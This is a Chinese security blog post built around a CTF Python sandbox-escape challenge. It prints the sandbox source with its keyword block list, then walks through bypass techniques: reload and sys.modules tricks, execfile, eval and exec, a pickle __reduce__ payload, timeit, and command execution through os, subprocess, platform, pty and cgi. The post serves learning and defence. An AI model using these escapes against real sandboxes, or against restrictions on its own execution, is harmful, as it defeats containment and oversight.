python input输入完 为什么会回显_从沙盒逃逸看Python黑科技(上篇)

python input输入完 为什么会回显_从沙盒逃逸看Python黑科技(上篇)

“ 阅读本文大概需要 6 分钟。

” 2020年 第 19 篇文章 ,flag 继续

每周至少更一篇

前言上一篇的主题是反弹shell剖析,将之前总结的对反弹shel的思考和大家分享一下,希望对大家有帮助。

大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。

有你们的坚持,才有更好的世界。

下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。

一.背景前因后果

本篇的主题源于下面的一道CTF题目:python沙箱逃逸,这是一个阉割的Python环境,主要进行了两部分限制:

1. 删除了内置函数引用 2. 对敏感的关键字进行了静态检测。怎么算逃逸呢? 黑客需要通过输入Python代码来绕过上述的限制,获取shell,执行命令。

#!/usr/bin/env python

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [

"import",

"exec",

"eval",

"pickle",

"os",

"subprocess",

"kevin sucks",

"input",

"banned",

"cry sum more",

"sys"

]

targets = __builtins__.__dict__.keys()

targets.remove('raw_input')

targets.remove('print')

for x in targets:

del __builtins__.__dict__[x]

while 1:

print(">>>", end=' ')

data = raw_input()

for no in banned:

if no.lower() in data.lower():

print("No bueno")

break

else: # this means nobreak

exec data

在正式的CTF比赛中,我们是看不到沙箱源码的,只会提供一个远程的沙箱接口,用来输入代码,有回显其实还好。如果是单纯做题,一般通用的解决思路,大致分为5步:

测试能否导入包

哪些系统包做了限制

内置函数是否可用

是静态检测还是动态检测

对象之间的引用关系探索

只是解决这道题没有什么意思,咱们要从这道题中挖掘一下Python中一些“黑科技”,才是对我们有帮助的。我总结了一下这道题涉及的主要知识点 :

python 如何导包

Python 如何执行代码和命令

Python 文件读取

内置模块

对象创建与引用

二.Python 导包实践出真知

如果我们想在沙箱中getshell的话,必不可少的是要引入Python中执行命令的包,例如os,sys,subprocess等。

有些沙箱使用比较初级的办法,通过正则对输入代码内容进行过滤,如下所示,如果匹配,则ban掉。

这个时候,我们突破这种封锁,首先要学习的是Python的各种导包方法。

导包初阶一般比较常见的是以下几种方法:

import xxx

from xxx import *

__import__("xxx")

importlib库

imp 库

reload(xxx)

在上面几种方法中,用的比较少的是 importlib 和 imp。我用例子简要说明一下:

reload 的用法比较有意思,假如沙箱导入了os模块,但是删除了system方法,强行使用system执行命令会报错。

# -*- coding: UTF-8 -*-

### 沙箱

import os

del os.__dict__["system"]

### 用户代码

os.system("whoami")

而我又想用system方法执行命令的话,可以使用reload重新加载os模块,恢复对system方法的引用。

# -*- coding: UTF-8 -*-

### 沙箱

import os

del os.__dict__["system"]

### 用户代码

reload(os) #也可以 import imp imp.reload(os)

os.system("whoami")

导包高阶上面说的是比较初阶的导包方式,导包说到本质上其实是python 读取指定包的py文件,并将其加载到解释器的过程。因此我们可以直接执行对应包的文件,从而实现包的导入。在py2中有execfile这个函数:

execfile('/usr/lib/python2.7/os.py')

system('whoami')

在py3中,没有execfile这个函数,但是有exec,可以通过读文件交给exec执行的方式导入包。

有的沙箱,为了防止你导入敏感包,会将sys.modules置为None。

以os 为例,沙箱将sys.modules['os']置为None,用户如果想import os 就会报错。

#!/usr/bin/python

##沙箱

import sys

sys.modules['os'] = None

### 用户代码

import os 报错

为什么会报错?import 的步骤:

如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A

如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

由于sys.modules['os'] 被置空了,如果想让os被重新加载,我们将 sys.modules 中的os 删除即可,这样import 发现 sys.modules没有os这个模块,就会重新创建。

# -*- coding: UTF-8 -*-

##沙箱

import sys

sys.modules['os'] = None

### 用户代码

del sys.modules['os']

import os

os.system("whoami")

三.Python 执行代码与命令动态执行代码(1) eval/exec/execfile

在上文中,已经讲解了exec/execfile的用法。这里再总结一下:

exec(source):动态执行复杂的python代码,函数的返回值永远为None。

execfile(filename):执行一个py文件的内容。

eval用来执行简单的python表达式返回表达式的结果,示例如下:

eval('__import__("os").system("whoami")')

(2) pickle 序列化

import pickle

class A(object):

def __reduce__(self):

import os

return (os.system, ('whoami',))

admin = A()

B = pickle.dumps(admin)

print(pickle.dumps(admin))

# cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.

保存序列化之后的字符串,然后通过pickle.loads加载即可完成代码的执行。

import pickle

pickle.loads("cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.")

(3) timeit 这个模块是用来测试代码的执行时间的,可以动态执行代码,代码是字符串形式。

import timeit

timeit.timeit("__import__('os').system('whoami')",number=1)

执行命令(1) os模块

可以通过os.system(cmd),os.popen(cmd)调用系统命令,例如:

os.system("whoami")

os.popen('whoami')

(2) commands 模块

print(commands.getoutput('whoami'))

print(commands.getstatusoutput('whoami'))

(3) subprocess模块

subprocess模块是相对比较复杂的,有很多执行命令的函数:

subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。

subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。

subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

(4) platform 模块

可以调用platform 模块 中的 popen 这个函数执行命令。

import platform

print(platform.popen('ls',mode='r',bufsize= -1).read())

platform.os.system("ls")

(5) pty 模块

pty模块可以生成一个伪终端,可以简单理解为bash,因此是可以执行命令的。

import pty

pty.spawn('ls')

pty.os.system("ls")

(6) cgi 模块

import cgi

cgi.os.system("ls")

大家细细琢磨还有很多执行命令的方式。。。。。。

最后出行中,未完待续

敬请期待下篇

原创不易,希望大家能积极分享,点在看

推荐阅读不一样的 "反弹Shell" 系统剖析

HW : Cobalt Strike 应该这样学

WebShell通用免杀的思考

WebShell "干掉" RASP

无文件执行:一切皆是shellcode (中)

无文件执行:一切皆是shellcode (上)

linux无文件执行— fexecve 揭秘

沙盒syscall监控组件:strace and wtrace

无"命令"反弹shell-逃逸基于execve的命令监控(上)

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【11】:领取Sandboxie源码

回复【1】:领取 Python数据分析 教程大礼包

回复【2】:领取 Python Flask 全套教程

回复【3】:领取 某学院 机器学习 教程

回复【4】:领取 爬虫 教程

回复【5】:领取编译原理 教程

回复【6】:领取渗透测试教程

回复【7】:领取人工智能数学基础

回复【8】:领取 python神经网络 教程

回复【9】:领取 安卓逆向 教程

相关推荐

么么哒的真正意思,不仅仅是亲嘴,还有这些含义!
山西五鹿山国家级自然保护区
48365365

山西五鹿山国家级自然保护区

09-13 👁️ 3648
如何在推特上轻松下载视频的详细教程
外勤365老版本下载怎样下载

如何在推特上轻松下载视频的详细教程

10-28 👁️ 9366
德云社相声一般多长时间
48365365

德云社相声一般多长时间

08-21 👁️ 7332